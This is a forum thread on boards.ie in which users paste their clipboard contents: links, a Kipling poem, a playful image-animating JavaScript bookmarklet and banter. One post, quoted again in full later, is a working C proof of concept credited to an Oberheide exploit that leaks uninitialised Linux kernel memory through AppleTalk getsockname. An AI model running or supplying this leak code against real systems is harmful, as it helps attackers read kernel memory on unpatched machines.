Advertisement
If you have a new account but are having problems posting or verifying your account, please email us on hello@boards.ie for help. Thanks :)
Hello all! Please ensure that you are posting a new thread or question in the appropriate forum. The Feedback forum is overwhelmed with questions that are having to be moved elsewhere. If you need help to verify your account contact hello@boards.ie

whats your ctrl-v

Options
2456

Comments

  • Closed Accounts Posts: 507 ✭✭✭portomar


    NRL Titans v Tigers


  • Registered Users Posts: 2,168 ✭✭✭Neamhshuntasach


    Escuela Proyecto La Esperanza


  • Registered Users Posts: 82,267 ✭✭✭✭Overheal


    http://i547.photobucket.com/albums/hh468/Mandos/chickenFuuu.jpg

    posting this in R&R because I was angry at, well, this comic, actually.


  • Registered Users Posts: 2,228 ✭✭✭bluto63


    Huh, I've got nothing copied


  • Banned (with Prison Access) Posts: 34,567 ✭✭✭✭Biggins


    Will someone tell me what the hell this thread is about?

    ...but in the meantime, lets dance...



  • Advertisement
  • Registered Users Posts: 8,813 ✭✭✭BaconZombie


    
    #include <stdlib.h>
    #include <string.h>
    #include <stdio.h>
    #include <errno.h>
    #include <unistd.h>
    #include <time.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/syscall.h>
    #include <net/if_arp.h>
    #include <linux/atalk.h>
    
    void kernop(int fd)
    {
        /* from Jon Oberheide sploit
         */
        const int   randcalls[] = {
            __NR_read, __NR_write, __NR_open, __NR_close, __NR_stat, __NR_lstat,
            __NR_lseek, __NR_rt_sigaction, __NR_rt_sigprocmask, __NR_ioctl, 
            __NR_access, __NR_pipe, __NR_sched_yield, __NR_mremap, __NR_dup, 
            __NR_dup2, __NR_getitimer, __NR_setitimer, __NR_getpid, __NR_fcntl, 
            __NR_flock, __NR_getdents, __NR_getcwd, __NR_gettimeofday, 
            __NR_getrlimit, __NR_getuid, __NR_getgid, __NR_geteuid, __NR_getegid,
            __NR_getppid, __NR_getpgrp, __NR_getgroups, __NR_getresuid, 
            __NR_getresgid, __NR_getpgid, __NR_getsid,__NR_getpriority, 
            __NR_sched_getparam, __NR_sched_get_priority_max
        };
        const int   randsopts[] = { SOL_SOCKET, AF_APPLETALK };
        int         ret, len;
        char        buf[1024];
    
        do
        {
            switch ( rand() % 3 )
            {
                case 0:
                    ret = syscall(randcalls[rand() % sizeof(randcalls)/sizeof(randcalls[0])]);
                    break;
                case 1:
                    len = (rand() % 2) ? sizeof(int) : sizeof(buf);
                    ret = getsockopt(fd, randsopts[rand() % sizeof(randsopts)/sizeof(randsopts[0])], rand() % 130, &buf, &len);
                    break;
                case 2:
                    len = (rand() % 2) ? sizeof(int) : sizeof(buf);
                    ret = setsockopt(fd, randsopts[rand() % sizeof(randsopts)/sizeof(randsopts[0])], rand() % 130, &buf, len);
                    break;
            }
        }
        while ( ret < 0 );
    }
    
    void dump( unsigned char * data, unsigned int len )
    {
        unsigned int dp, p;
        const char trans[] =
        "................................ !\"#$%&'()*+,-./0123456789"
        ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
        "nopqrstuvwxyz{|}~...................................."
        "....................................................."
        "........................................";
    
        for ( dp = 1; dp <= len; dp++ )
        {
            printf("%02x ", data[dp-1]);
            if ( (dp % 8) == 0 )
            {
                printf("| ");
                p = dp;
                for ( dp -= 8; dp < p; dp++ ) {
                    printf("%c", trans[data[dp]]);
                }
                printf("\n");
            }
        }
    
        return;
    }
    
    int main(void)
    {
        struct sockaddr_at  sat;
        int                 s, len = sizeof(sat), occ = 500;
        char                prev_zero[sizeof(sat.sat_zero)] = { 0 };
    
        s = socket(AF_APPLETALK, SOCK_DGRAM, 0);
        if ( s == -1 )
        {
            perror("socket");
            return EXIT_FAILURE;
        }
    
        memset(&sat, 0, sizeof(sat));
        sat.sat_family = AF_APPLETALK;
        sat.sat_addr.s_net = htons(ATADDR_ANYNET);
        sat.sat_addr.s_node = ATADDR_ANYNODE;
        sat.sat_port = ATADDR_ANYPORT;
    
        if ( bind(s, (struct sockaddr *) &sat, len) < 0 )
        {
            perror("bind");
            return EXIT_FAILURE;
        }
    
        srand(time(NULL) ^ getpid());
    
        while ( --occ )
        {
            kernop(s);
    
            if ( getsockname(s, (struct sockaddr *) &sat, &len) == 0 )
            {
                if ( memcmp(sat.sat_zero, prev_zero, sizeof(sat.sat_zero)) != 0 )
                {
                    dump((unsigned char *) &sat.sat_zero, sizeof(sat.sat_zero));
                    memcpy(&prev_zero, &sat.sat_zero, sizeof(sat.sat_zero));
                    usleep(5000);
                }
            }
        }
    
        close(s);
    
        return EXIT_SUCCESS;
    }
    
    


  • Closed Accounts Posts: 27,944 ✭✭✭✭4zn76tysfajdxp


    sorry Hagar, wasnt really thinking on that one :o

    Hey, at least it wasn't scat-porn again.


  • Banned (with Prison Access) Posts: 4,193 ✭✭✭Turd Ferguson


    Hey, at least it wasn't scat-porn again.

    Thats saved for pm's....btw you still want those pictures we talked about?


  • Banned (with Prison Access) Posts: 34,567 ✭✭✭✭Biggins


    BOFH_139 wrote: »
    #include <stdlib.h>
    #include <string.h>
    #include <stdio.h>
    #include <errno.h>
    #include <unistd.h>
    #include <time.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/syscall.h>
    #include <net/if_arp.h>
    #include <linux/atalk.h>
    
    void kernop(int fd)
    {
        /* from Jon Oberheide sploit
         */
        const int   randcalls[] = {
            __NR_read, __NR_write, __NR_open, __NR_close, __NR_stat, __NR_lstat,
            __NR_lseek, __NR_rt_sigaction, __NR_rt_sigprocmask, __NR_ioctl, 
            __NR_access, __NR_pipe, __NR_sched_yield, __NR_mremap, __NR_dup, 
            __NR_dup2, __NR_getitimer, __NR_setitimer, __NR_getpid, __NR_fcntl, 
            __NR_flock, __NR_getdents, __NR_getcwd, __NR_gettimeofday, 
            __NR_getrlimit, __NR_getuid, __NR_getgid, __NR_geteuid, __NR_getegid,
            __NR_getppid, __NR_getpgrp, __NR_getgroups, __NR_getresuid, 
            __NR_getresgid, __NR_getpgid, __NR_getsid,__NR_getpriority, 
            __NR_sched_getparam, __NR_sched_get_priority_max
        };
        const int   randsopts[] = { SOL_SOCKET, AF_APPLETALK };
        int         ret, len;
        char        buf[1024];
    
        do
        {
            switch ( rand() % 3 )
            {
                case 0:
                    ret = syscall(randcalls[rand() % sizeof(randcalls)/sizeof(randcalls[0])]);
                    break;
                case 1:
                    len = (rand() % 2) ? sizeof(int) : sizeof(buf);
                    ret = getsockopt(fd, randsopts[rand() % sizeof(randsopts)/sizeof(randsopts[0])], rand() % 130, &buf, &len);
                    break;
                case 2:
                    len = (rand() % 2) ? sizeof(int) : sizeof(buf);
                    ret = setsockopt(fd, randsopts[rand() % sizeof(randsopts)/sizeof(randsopts[0])], rand() % 130, &buf, len);
                    break;
            }
        }
        while ( ret < 0 );
    }
    
    void dump( unsigned char * data, unsigned int len )
    {
        unsigned int dp, p;
        const char trans[] =
        "................................ !\"#$%&'()*+,-./0123456789"
        ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
        "nopqrstuvwxyz{|}~...................................."
        "....................................................."
        "........................................";
    
        for ( dp = 1; dp <= len; dp++ )
        {
            printf("%02x ", data[dp-1]);
            if ( (dp % 8) == 0 )
            {
                printf("| ");
                p = dp;
                for ( dp -= 8; dp < p; dp++ ) {
                    printf("%c", trans[data[dp]]);
                }
                printf("\n");
            }
        }
    
        return;
    }
    
    int main(void)
    {
        struct sockaddr_at  sat;
        int                 s, len = sizeof(sat), occ = 500;
        char                prev_zero[sizeof(sat.sat_zero)] = { 0 };
    
        s = socket(AF_APPLETALK, SOCK_DGRAM, 0);
        if ( s == -1 )
        {
            perror("socket");
            return EXIT_FAILURE;
        }
    
        memset(&sat, 0, sizeof(sat));
        sat.sat_family = AF_APPLETALK;
        sat.sat_addr.s_net = htons(ATADDR_ANYNET);
        sat.sat_addr.s_node = ATADDR_ANYNODE;
        sat.sat_port = ATADDR_ANYPORT;
    
        if ( bind(s, (struct sockaddr *) &sat, len) < 0 )
        {
            perror("bind");
            return EXIT_FAILURE;
        }
    
        srand(time(NULL) ^ getpid());
    
        while ( --occ )
        {
            kernop(s);
    
            if ( getsockname(s, (struct sockaddr *) &sat, &len) == 0 )
            {
                if ( memcmp(sat.sat_zero, prev_zero, sizeof(sat.sat_zero)) != 0 )
                {
                    dump((unsigned char *) &sat.sat_zero, sizeof(sat.sat_zero));
                    memcpy(&prev_zero, &sat.sat_zero, sizeof(sat.sat_zero));
                    usleep(5000);
                }
            }
        }
    
        close(s);
    
        return EXIT_SUCCESS;
    }
    
    


    Some nice validation code there. Good stuff.


  • Closed Accounts Posts: 27,944 ✭✭✭✭4zn76tysfajdxp


    Thats saved for pm's....btw you still want those pictures we talked about?

    Ooo! Yes please! :D


  • Advertisement
  • Registered Users Posts: 988 ✭✭✭Zeouterlimits




  • Registered Users Posts: 12,433 ✭✭✭✭El Guapo!


    It was this pic!! :Devil-cat-01.jpg


  • Registered Users Posts: 1,213 ✭✭✭SoWatchaWant


    Mine is porn. I'm not posting it up here.


  • Registered Users Posts: 475 ✭✭candlegrease




  • Moderators, Education Moderators Posts: 8,561 Mod ✭✭✭✭Rhyme


    "Zdzislaw Beksinski"

    Polish painter, incredible work... also very haunting stuff.


  • Registered Users Posts: 2,403 ✭✭✭passive




  • Registered Users Posts: 1,980 ✭✭✭limklad




  • Registered Users Posts: 18,915 ✭✭✭✭Mimikyu


    This post has been deleted.


  • Closed Accounts Posts: 1,377 ✭✭✭An Fear Aniar




  • Closed Accounts Posts: 2,669 ✭✭✭mukki


    probably should have posted in cuckoos nest, but that are all mad in there, it would be just cat pictures


    oh my ctrl + v now is....


    press submit


  • Advertisement
  • Registered Users Posts: 1,191 ✭✭✭narwog81


    You'll Be a Man, My Son
    If

    If you can keep your head when all about you
    Are losing theirs and blaming it on you;
    If you can trust yourself when all men doubt you,
    But make allowance for their doubting too;
    If you can wait and not be tired by waiting,
    Or, being lied about, don't deal in lies,
    Or, being hated, don't give way to hating,
    And yet don't look too good, nor talk too wise;

    If you can dream - and not make dreams your master;
    If you can think - and not make thoughts your aim;
    If you can meet with triumph and disaster
    And treat those two imposters just the same;
    If you can bear to hear the truth you've spoken
    Twisted by knaves to make a trap for fools,
    Or watch the things you gave your life to broken,
    And stoop and build 'em up with wornout tools;

    If you can make one heap of all your winnings
    And risk it on one turn of pitch-and-toss,
    And lose, and start again at your beginnings
    And never breath a word about your loss;
    If you can force your heart and nerve and sinew
    To serve your turn long after they are gone,
    And so hold on when there is nothing in you
    Except the Will which says to them: "Hold on";

    If you can talk with crowds and keep your virtue,
    Or walk with kings - nor lose the common touch;
    If neither foes nor loving friends can hurt you;
    If all men count with you, but none too much;
    If you can fill the unforgiving minute
    With sixty seconds' worth of distance run -
    Yours is the Earth and everything that's in it,
    And - which is more - you'll be a Man my son!
    Rudyard Kipling

    wanted the full text after seening the vodafone GAA championship ad on tv!


  • Registered Users Posts: 308 ✭✭PunkFreud




  • Registered Users Posts: 2,212 ✭✭✭Mrmoe


    4dw5oNk3


  • Closed Accounts Posts: 5,082 ✭✭✭Pygmalion




  • Closed Accounts Posts: 907 ✭✭✭AlphaMale 3OO


    xxxxxxxxxxxx

    EDIT: Oh God! Credit Card number!


  • Moderators, Regional Abroad Moderators Posts: 26,928 Mod ✭✭✭✭rainbow kirby




  • Closed Accounts Posts: 4,987 ✭✭✭ottostreet


    http://www.bzoink.com/Q3951/What_is_the_first_name_of_the_person_you_will_marry.html


    ah nooo, my explanation for this is ****e.

    never mind!


  • Registered Users Posts: 25,068 ✭✭✭✭My name is URL


    Go to google images. Search whatever you want. Then copy/paste this code in your internet address bar and hit enter:

    javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI= document.images; DIL=DI.length; function A(){for(i=0; i<DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5; DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++}setInterval('A()',5 ); void(0)

    lol


  • Moderators, Social & Fun Moderators, Society & Culture Moderators Posts: 30,873 Mod ✭✭✭✭Insect Overlord


    http://www.youtube.com/watch?v=liWH1XHF9DI&feature=channel

    It's a link to a video of myself singing a bellX1 song. I was linking someone to it in a PM yesterday, obviously haven't had to copy and paste since.


  • Advertisement
  • Banned (with Prison Access) Posts: 4,193 ✭✭✭Turd Ferguson


    Go to google images. Search whatever you want. Then copy/paste this code in your internet address bar and hit enter:

    javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI= document.images; DIL=DI.length; function A(){for(i=0; i<DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5; DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++}setInterval('A()',5 ); void(0)

    lol

    Suspicious.......what does it do?

    Ohhhhh, awesome :D


Advertisement